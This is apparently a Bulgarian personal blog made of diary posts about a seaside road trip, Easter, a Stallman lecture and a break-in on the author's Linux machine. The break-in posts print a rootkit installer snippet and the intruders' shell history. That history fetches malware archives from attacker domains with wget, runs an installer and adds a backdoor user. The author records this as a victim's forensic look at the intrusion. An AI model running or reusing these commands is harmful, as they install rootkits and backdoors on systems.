Пътешествието премина страхотно, превъзходно, супер ! Последните три дни прекарах главно на път с Опелката и добра компания 🙂 Възползвах се със страшна сила от трите почивни дни и в петък сутринта с Вилито, Стефан, Здравка и Йонов потеглихме към хижа Черноморец до Варна. Големите пътища по едно време ни отказаха и на петолъчката след Сливен решихме да кривнем на север и да минем през селцата натам. Гледката и пролетната природа бяха супер, за разлика от асвалтовата покривка, но не може всичко да е перфектно. Минахме през село Рупча, което май е от “Васко Да Гама от село Рупча” ?!? Не сме сигурни, но имаше един оромен надпис РУПЧА в планината, подобно на Hollywood в Лос Анджелис 🙂 След това спряхме на едни полянки и рекичка до едно село Дъскотна, или както го кръстихме ние – The Skotna 🙂 Майтапа на страна – там си е много хубаво. Из повечето села през които минавахме почти не виждахме хора и на места се чудихме кой да попитаме дали сме на правилния път. В някои от селата май преобладаваше турското малцинсво и някъде дори и младите мимичета бяха с шалвари.

По едно време видяхме надпис -“Чудните скали” и спряхме да снимаме от далече, но малко след това се оказа, че си има специален път до/през тях и там също спряхме да ги разгледаме. Всъщност за малко да си останем там, след като вкарах опелката в една огромна дупка, където опря отдолу и едвам я измъкнахме. Иначе скалите наистина са чудни ! Сякаш са изградение от безброй малки камънчета, а стоят здраво и образуват интересни фигури. Имаше и тунели в тях, които не знам дали са естествени или изкуствени, но също са много красиви, а и ставах супер снимки в тях.

След като бяхме тръгнали в 9 сутринта, пристигнахме в хижата (всъщност бунгалата) в 17:30. Колкото и да е странно почти не се объркахме на отиване. Само накрая първо спряхме на едни други бунгала, но въпреки че разбрахме, че не сме за там, все пак първо отидохме до плажа да пипнем морето, преди да продължим до нашите 🙂 На хижата вече имаше доста хора от групата, която се организирахме, но още повече се очакваха в събота. Ние след дългия път укапахме рано и към 23 часа бяхме в леглата. Бунгалата си бяха прилична мизерия, но не сме очаквали, нито пък желали нещо друго. Във всеки случай, не си струваха 7-те лева на човеконощувка.

В събота решихме да се разходим някъде из околността с колата и докато се чудехме между Варна, Балчик и нос Калиакра тръгнахме без да сме решили окончателно. Станах спец да карам из градове, които въобще не са ми ясни – в случая става дума за Варна, където отивах за пръв път в съзнателния ми живот. В крайна сметка тръгнахме още на север и отидохме в Балчик, за да разгледаме Двореца и Ботаническата градина. Бяхме решили ако остане време да отидем и до Калиакра, но Балчик се оказа много интересен и му отделихме подобаващо време, което си заслужи. Двореца и Ботаническата градина се допълват прекрасно и прекарахме много приятни часове в разглеждането (и снимането 🙂 ) им. В същото време те са и обект N24 от 100-те национални туристически обекта и там си взех втория печат в книжката ми 🙂 Аз също силно препоръчвам да посетите Балчик, ако не сте го правили до сега. Наистина много ме впечатли. Единственото, което не ми хареса, е че ресторанта в които седнахме – нямаше цаца, а как да отида на море и да не ям цаца 😛

Точно когато си тръгнахме от Балчик, заваля супер проливен дъжд и добре че си намерихме колата бързо, иначе доста щяхме да се понамокрим. По едно време дори и чистачките не помагаха много. Добре че се оказа типичен летен проливен дъжд и бързо спря. Малко преди Варна се отбихме да видим и скалния манастир Аладжа, като го хванахме малко преди да затворят. Още едно интересно мястов България. Самия манастир представляваше издълбани ниши в една ветикална скала, където са живеели монасите. Доста е стар – от второто българско царство и дори не се знае истинското му име, а е останало персийското/турското название Аладжа, което означава пъстър/шарен.

Във Варна отидохме на пицария Godzila и се наядохме едно хубаво (и дори сравнително евтино) 🙂 Прибрахме се в хижата към 20 часа, където най-сетне можеше да се почерпим за рожденния ден на Йонов 🙂 Музиката беше супер, хората също, въобще страхотно ! Имахме си огън, пиивахме с изглед към морето, и дори играхме с толка и се люляхме на люлки 🙂 Всъщност най-хубавото на бунгалата беше, че се намират в гора, а са на 30 метра от морето 🙂 Малко по-високо са и има стархотна гледка.

Не помня кога заспахме, но сутринта станах в 8 с идея да тръгваме към 9. Само където на никой не му се тръгваше обратно към цивилизацията. Може би към 10 успяхме да тръгнем, но отидохме във Варна на кафе, а се озовахме отново в Godzila на пици и салати. Разгледахме центъра и тръгнахме чак в 12 от там. Решихме да пътуваме покрай морето към Бургас и да се отбием по някое време към Айтос. Пътя всъщност е доста стръмен и планински и по едно време спирачките доста загряха и се наложи една принудителна почивка. Беше малко преди Несебър и си казахме – защо пък да не разгледаме и него ? 🙂 Речено-сторено. Намерихме едно хубаво място за паркиране, малко преди старата част и тръгнахме пеша. Вилито каза, че не била ходила в Несебър и трябваше да поправим това 😉 Обиколихме цялата стара част и дори си взехме печат от историческия музей, който също е един от 100-те обекта. В несебър най-сетне седнахме на цаца с бира 🙂 (за съжаление за шофьорите – само малка 🙁 ) Времето отново мина неусетно и тръгнахме от там чак в 16 часа.

Останалата част от пътя минахме без да спираме за много. Не че нямахме желание и цели, но просто решихме че няма време и да оставим за друг път. След кратко объркване на пътя в (или по-точно около) Стара Загора, запрашихме бързо по спокойния път и след Чирпан дори хванахме магистралата и се прибрахме благополучно в Пловив към 20 часа.

Много съм доволен от цялата екскурзия 🙂 За пръв път 128 мегабайтовата карта на фотоапрата не ми стигна, и с вградените 16 всичко ми стигна на косъм 🙂 Измислихме нов вид туризъм – хаотичен, в който тръгваш нанякъде без да знаеш точно накъде и посещаваш всичко по пътя и ако се сетих за нещо на близо 🙂 Тръгваш от точка А за точка Б, а посещаваш Ш, Ч и М 😉 Може дари да се нарича “Хаос туризъм”.

По средата сме на тридневната работна седмица, но въпреки това доброто настроение не иска да ме споходи. Цялата еуфория около Великден така и не можа да ме зарази, а на работата нещата не вървят с желаното от всички темпо. От петък се мъча върху едно нещо, което така и не ще да заработи както трябва, и не ще 🙁 Чак толкова глупава грешка, че да не мога да я открия три дена, не беше ми се случвала, Това допълнително ми разваля настроението и дори мисълта, че в петък заминавам за хижа Черноморец до Варна (да не се бърка с гр/с Черноморец), не може да ми го оправи. Все пак се надявам, като отидем там да е весело и да се заредя положително.

Сега и времето се развали. Навън разни гръмотевици се чуват и се радвам, че си изключих LAN-а, защото вече два пъти ми изгаря мрежова карта по този начин. Сега го включих, но gateway-а не се обажда никакъв, и се ядосвам, че не си записах скрипта на Пейо за информиране когато дойде нетя 🙂 а не ми се измисля сега, предпочитам да си пусна freeciv.

Това е продължение на предишното ми писание. Реших да не го редактирам, а да напиша още един пост по темата.

Разгледах малко по-подробно rootkit-a, който са (опитали да) ми сложат на компютъра. Честно казано добре изглежда, но има една много тъпа проверка, която не минава при мен:

if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
    echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
    echo "${cl}${hred}Installation aborted.${cl}${wht}"
    /etc/rc.d/init.d/syslog start >/dev/null 2>&1
    exit 1
fi

Просто в ArchLinux няма нито /etc/rc.d/init.d, нито /etc/rc.d/rc0.d . За моя радост, тази грешка е фатална за инсталатора на rootkit-а. ArchLinux използва далеч по-стандартното за lInux /etc/rc.local за стартиращ конфигурационен скрипт и директория /etc/rc.d/ в която са стартиращите скриптове за различните услуги. За всеки случай преинсталирах coreutils и procps, но не забелязах разлика в размера на файловете, така че си мисля, че са се отказали, след съобщението :

Argh!! .. SysV init not found
Installation aborted

Аз лично си пуснах install скрипта и се получи същото съобщение 🙂 Може би затова са екпортнали пътя с текущата директория и са пуснали бота така.

Та като се правите на кодери (koderS), поне си оправяйте скриптовете да бачкат 🙂

Днес нетипично за мен, реших да се логна като root и гледам last login from prag164.server4you.de и то от снощи. Викам си, бре хакнали са ме, ама нищо не бях усетил, май не са трили нищо (дано, още не съм разследвал всичко). Пуснах един netstat-tupan и гледам някакъв процес слуша на 58 хиляди и някой порт с име httpd и го kill-нах. Освен това май имаше и един ssh тунел или просто увиснала сесия, но и нея убих преди да определя точно. Започнах да търся какво са правили.

#last 
koders   pts/0        213.193.222.30   Sun May  1 22:09 - 22:10  (00:01)    
koders   pts/0        213.193.222.30   Sun May  1 21:14 - 21:14  (00:00)    
ifos     vc/3                          Sun May  1 21:04 - 00:03  (02:58)    
iko      vc/4                          Sun May  1 17:14   still logged in   
iko      vc/8                          Sun May  1 17:13   still logged in   
koders   pts/0        prag164.server4y Sun May  1 16:24 - 16:30  (00:06)    
root     pts/1        prag164.server4y Sun May  1 16:17 - 16:24  (00:06)    
root     pts/0        prag164.server4y Sun May  1 16:16 - 16:19  (00:03)

Яяя дори са си направили потребител koders без много да му мислят. Дори си има и home директория. Изтрих koders от /etc/passwd и после един преглед на .bash_history

# cat .bash_history 
cd /var/tmp
cd .bash
ls
wget www.onhelp.go.ro/dns.tgz
cd ..
mkdir .a
cd .a
wget www.onhelp.go.ro/dns.tgz
ps -x
ps -aux
tar -zxvf dns.tgz
cd dns
mv bot httpd
chmod 777 httpd
export PATH="."
httpd
wget http://heanet.dl.sourceforge.net/sourceforge/undernet-ircu/ircu2.10.11.07.tar.gz
ps -aux
kill -9 5167
cd /var/tmp
ls
ls -a
cd .a
ls
cd dns
export PATH="."
httpd
exit

Отивам в /usr/tmp и доколкото разбрах са си компилирали някъв irc bot emergymech. От тази им постъпка си мисля, че са просто разни script kiddies, които се хвалят в IRC с всяка пробита машина. Това което ме притеснява, е че са влизали като root. Не са чистили много логове (може би хич) и редовете от .bash_history, които не са мои са :

[B
[B
w
cd /var/tmp   
mkdir .bash  
wget www.filiasi.com/thug.tgz
wget www.filiasi.com/tupac.tgz
tar -zxvf 
tar -zxvf tupac.tgz
cd muie
id
./install
adduser koders
passwd koders

Влизали са от два компютъра 62.75.224.165 (prag164.server4you.de), което е в Германия и 213.193.222.30, което е в Холандия. Видях конфигурацията на бот-а : канал #OnHelp в Undernet. Влезнах там, но се задържах само няколко секунди, докато някой ми каза IkO_, say a и получих бан. Не се занимавах повече, освен че видях инфото на този, които ме изрита и там се рекламираше сайт www.koderS.biz. От този сайт, и малко с помощта на Йонов, защото нямам photoshop, видях че най-вероятно са румънци, което малко ме учуди, защото ги мислех за холандци.

Честно казано цялата работа, дори малко ме ласкае, защото не вярвах, че моята домашна машинка, на мизерна връзка, може да е приманлива цел за проникване. Лошото, е че не разбрах точно как са влезнали първоначално. Имам пуснати OpenSSH 4.0p1-1 и Apache 2.0.54-1, и двете от пакети на ArchLinux, където всичко по принцип е най-последна версия. Другия вариант е да са ми познали root паролата, която беше нормална английска дума. Сканирано ми е Apache-то за разни популярни директории и файлове, но на всичко е върнало 404, освен на нормания GET. Мисля си, да не е някой модул за него ?!? Или да има exploit за последната версия на OpenSSH ?!?

п.с. сега като препрочитам виждам, че бота са го свалили точно от румънски сайт, което потвърждава теорията, че са румънци. Дано не ме ядосат повече, защото не ми се занимава с глупости. Мислех, че това минал период за мен. Дано да остане така. За сега не мисля да им играя по свирката.

Христос Воскресе

Не, няма да пиша някакви пожелания или поучения, а просто да си запиша, че снощи беше една обикновенна вечер за мен, прекарана с приятели, пиене, забавления … Както писах вчера, всичко запозна с едно глупаво настроение, което се надявах да ми премине вечерта. Към 20 часа отидох в Red Eye, където се видях с Йонов, Здравка и Серго. Пихме по една бира (имам в предвид бира, а не Загорка), но не можах да ги убедя да останат за по-дълкго и към 21 си тръгнаха, а аз имах среща на пощата с Магито, Калоян, Вилито и Стефан. След дълго чудене къде да отидем преди църквата, решихме да останем на открито някъде в стария град и да си вземем някакво пиене 🙂 Консенсусното решение беше ром със сок и седнахме на терасите до античния. На път нагоре си вземе свещи от църквата “Св. Богородица”, а не от многото “продавачи”, които бяха изпълнили главната. Мисля, че така е по-добре, като подпомагаме, макар и минимално църквата в този ден.

С бутилката ром се справихме бързо и малко преди полунощ отидохме пред църквата “Константин и Елена”. Там най-сетне усетих поне малко величието на момента. Беше препълнено с хора, но поне успяхме да си вземем огън от попа. Всички тези хора, свещитчите, камбаните … все пак беше хубаво. Особено като погледнеш надолу по някоя стръмна улица с хиляди хора с огънче в ръцете си, беше направо красиво. Все пак всеки си собствено разбиране за празника.

Оказа се че не всички си носеха яйца и не можахме да се сборим хубаво, но поне всички които имахме ги изядохме 🙂 След църквата Магито и Калоян си тръгнаха, a аз, Вилито и Стефан решихме да ходим в Петното. Внесохме си едно патронче ром и вътре си взехме по едно малко 🙂 Беше пълно с хора, а Пухи пускаше хубава музика. Само на моменти беше много комерсиална, но се издържаше. По едно време Миро изкочи от някъде и каза, че след малко идва с case-а и ще пуска. Направо се учудих да го видя в Петното след наскорощните му случки там. Патрончето с ром свърши много бързо и Стефан отиде за още едно 🙂 Оказало се обаче, че няма още ром и е взел уиски. Ами какво да правим – минахме на уиски. Към три часа Вилито и Стефан си тръгнаха, а доиде Миро и зае мястото на DJ. И добре, че го направи, че Пухи беше много пиян вече. Купона продължи с пълна сила до към 4, когато Цецо нещо реши да се прави на DJ. Хората започнаха да си тръгват и аз реших да сторя. Казах чао на няколко човека и тръгнах. Един поглед ме спря за момент, но продължих напред. Прибрах се към 5 и заспах. Днес станах за половин час на обяд и пак легнах. Чак към 5 часа след обяд се събудих от един SMS на Йонов.

Още не съм отгорил на многото SMS-и с пожелания, които получих днес. Благодаря на всички !!

Во истина воскресе !

Някакси въобще не ми е празнично. Сутринта станах накриво. След това в 11 имах час за зъболекар при Дафо. Онзи ден ми се счупи една пломба и реших, че това е знак да отида на зъболекар от една година насам. <тъън реклама> Дафо работи много добре и го препоръчвам на всички :)</реклама> Оправих си пломбата, като предишната беше една метална, а новата е биличка и стои като здрав зъб. Доволен съм. Мерси, Дафо 🙂 Хубаво е да можеш да си говориш със зъболекаря ти на интересни теми, в случая – линукс 🙂 Някак по-спокойно се чуства човек.

Докато стоях зяпнал на столя, ми звънеше сестра ми и каза, че е болна (висока температура и я боляло гърлото) и ще се връща днес. Сега чакам да стане време да отида да я посрещам на рейса, а и без това няма какво да правя. Всички се изнесоха на някъде или са си по къщите си, а на мен въобще не ми се стои у нас. Предишни години всеки великден ходих на църква с колеги от университета, но сега не съм ги чувал от месеци и не знам дали е подходящо да ги търся днес. А и както казах нещо не ми е празнично. Може би ще отида и ще се срещнем там “случайно”.

Звъннах и на Мишинев за плакатите на Камината, но още не са доши и дори с лепене на плакати няма да мога да си запълня дена. Освен това и среща на OpenClub няма да има … Ще видим утре на великия ден какво ще се прави …

You Are a Social Blogger!

Your blog is more of a semi-private affair for your friends. It’s how you keep in touch… sharing stories, jokes, and pics.

Напоследък Донка само поства за разни тестове и снощи и днес и аз си направих няколко. Горе-долу съм съгласен с горното определение и затова реших да го публикувам. Иначе в един от другите тестове се оказа, че съм с акъл на 15-годишен 🙂 , а ще почина на 76. Аз имам планове за повече, но ще поживеем и ще видим 🙂

Това мислех да е един силно самокритичен пост, но сега ми поодмина и може би няма да прозвучи толкова черно. От неделя насам се убедих, че по-голям мързел от мен няма ! Най-лошото, че ме мързи за неща, които ТРЯБВА да свърша, а се мотам за всевъзможни глупости. Върха беше в неделя и се радвам, че тогава се сдържах да не пиша това. Днес малко си седнах на три(четири)буквието и понаписах малко от дипломната ми. Ако всеки ден върша по толкова мисля, че ще е добре. Още повече, че след работа въобще не ми се продължава да мисля за платки, схеми … дори предпочитам да седна да напиша нещо на PHP. Може би за някой програмист е точно обратното, но всеки иска разнообразие.

Между другото ми(ни) свърши мястото на drundrun.org и сега временно няма да мога да обновявам фотоблог-а ми и Нашите Снимки. Трябва да се бръкнем повече пари или да затрием нещо по-радикално. Вторият вариант хич не ми се иска да става, така че остава първия 😛 От host.bg категорично отказаха да увеличат само дисковото пространство (естествено срещу съответно заплщане), без да мина на друг хостинг план.

Преди време имаше едно предаване, което завършваше с добрата новина, и аз сега подобно на тях, искам да завърша с една добра новина (поне за Пловдивчани). Днес ми се обади Йовко и ми съобщи, че ще има представление на Камината в университетския театър в Пловдив на 10^-ти май 🙂 Една наистина чудесна новина ! 😉 Някой да иска да помогне с разлепването на плакати ? 🙂

Тази вечер по предварителна информация трябваше да има парти на Миро в Петното и въпреки, че снощи разбрах, че долу няма да работи през седмицата, реших да отида да видя ще има ли аджеба парти 🙂 Миро твърдеше, че трябва да има, а по едно време се разбра, че във форума на Петното се споменало, че ще има psychedelic парти. Мистерията стана още по-голяма 🙂 За долу нямаше персонал, който да работи и въобще настана всеобщо объркване от лошата (мнооогоо меко казано) организация. Миро и Стоян си тръгнаха бързо и се разбра, че парти няма да има. Трансистите все пак се оказа повече и по-нахални и си направиха парти долу. С Йонов и Здравка се чудехме дали да слезем, но в крайна сметка заседнахме на маса в ресторанта на Петното, където днес на работа беше Таня, Пийвахме биричка и си пускахме хубава музика, защото бяхме останали само ние. По едно време дори пуснахме телевизора и за пръв път от много време гледах “Шоуто на Слави”. На гости беше една американка, която изпълняваше български народни песни. Беше много свежа и й се накефихме. Учи в АМТИ-то в Пловдив и се чудя дали да не задвижа разни връзки там 🙂 След това гледахме и Приятели (пак много се смях) и си тръгнахме. Два дюнера за лев и пеша към вкъщи. Лека нощ 🙂

Отидох ! 🙂 Още преди 7 сутринта се събрахме пет човека (Дафо, Георги, Вальо, Краси и аз) в моята кола упяхме да стигнем на конференцията дори по-рано от предвиденото. Влезнахме по-рано и успяхме да си вземем седящи места, защото имаше и правостоящи, на лекцията на Ричард Столмън. Лекцията, озаглавена “Copyright vs Community in the Age of Computer Networks” беше много добра и мисля, че се хареса навсички. Столмън говореше бавно и много отчетливо (щом успях да разбера абсолютно всичко 🙂 ), за разлика от предварителните ми очакванаия да бъде по-неразбираемо. Оказа се добър лектор, но той и напоследък само това прави – изнася лекции по цял свят и успява да го прави много свободно, каквото е и самото му мислене. Ето някои неща, които ми направиха впечатление (да не кажа гръмкото – неща които няма да забравя никога 😛 ) :

• Столмън започна, очаквано за мен, с четирите основни правила, който дефинират свободата на софтуера. Интересното беше че ги изброи, типично по хакерски, от нула до три 😉
• Хареса ми историята, която започна още от древни времена на преписване на книгите, когато всеки е имал пълни права да копира, променя, и добавя нещо към тогавашната информация и как тези свободи постепенно се отнемат с навлизането на copyright и как постоянно се увеличават ограниченията с нови и нови закони, подтиквани главно от големите корпорации с много пари.
• Най-интересната част за мен беше разделянето на информацията (или дори познанението) не по начина на разпространение, а по предназнчението й, на три групи. Първа група – практически неща, които се използват в ежедневието и работата (документации, упътвания, научни трудове, рецепти за готвене …), които според него трябва да бъдат абсолютно под public domain , т.е. да имат цялата свобода. Втората група са неща, изразени от конкретна личност (лични мисли, идеи, есета …), които е добре да бъдат публични, но не е заължително да могат да се променят, за да се избегне погрешното предаване информацията и така да се предаде грешно думите на някой. Третата група са неща свързани с изкуството и развлеченията (музика, видео, картини …). Столмън се съгласява, че тези неща могат да имат определен период, в които са за комерсиална употреба, но той не трябва да е твърде дълъг – примерно не повече от 10 години, след което те също да стават свбодни.
• Свобода на споделянето на музика и видео в Интернет ! Това е нещо което не може да се спре, но и не трябва. Самите творци са заинтерисувани повече хора да чуят, видят и насладят на техните произведения, и така ще имат по-голяма публика. От цялата комерсиализация печелят главно музикалните компании, а самите музиканти не получават почти нищо. Аз напълно подклрепям тази идея. Изпълнителите получават пари главно от концерти на живо, а при по-голяма поблика, ще получат повече пари, а освен това, така ще останат само тези които наистина могат да пеят, свирят или творят.
• Столмън открито говореше против американската демокрация, която въобще не е тази, за която се представя. Най-лошото, е че под нейно влияние и други страни налагат ограничения, уж с оправданието, че помагат на обществото. На практика става точно обратното – управляват корпоративни интереси, а не хората, както е идеята на демокрцията.

Като цяло чух думите на един човек свободен по душа и разум и ми хареса много. За Столмън може да се говорят много и различни неща, но не може да се отрече че говори и постъпва напълно свободно. Освен критика, той дава и идеи как да се постигне свободата във всеки аспект на човечеството, не само в софтуера. Скоро с очаква да се появи запис на лекцията и Ви препоръчвам да я изтеглите и изслушате. Аз ще го направя пак 🙂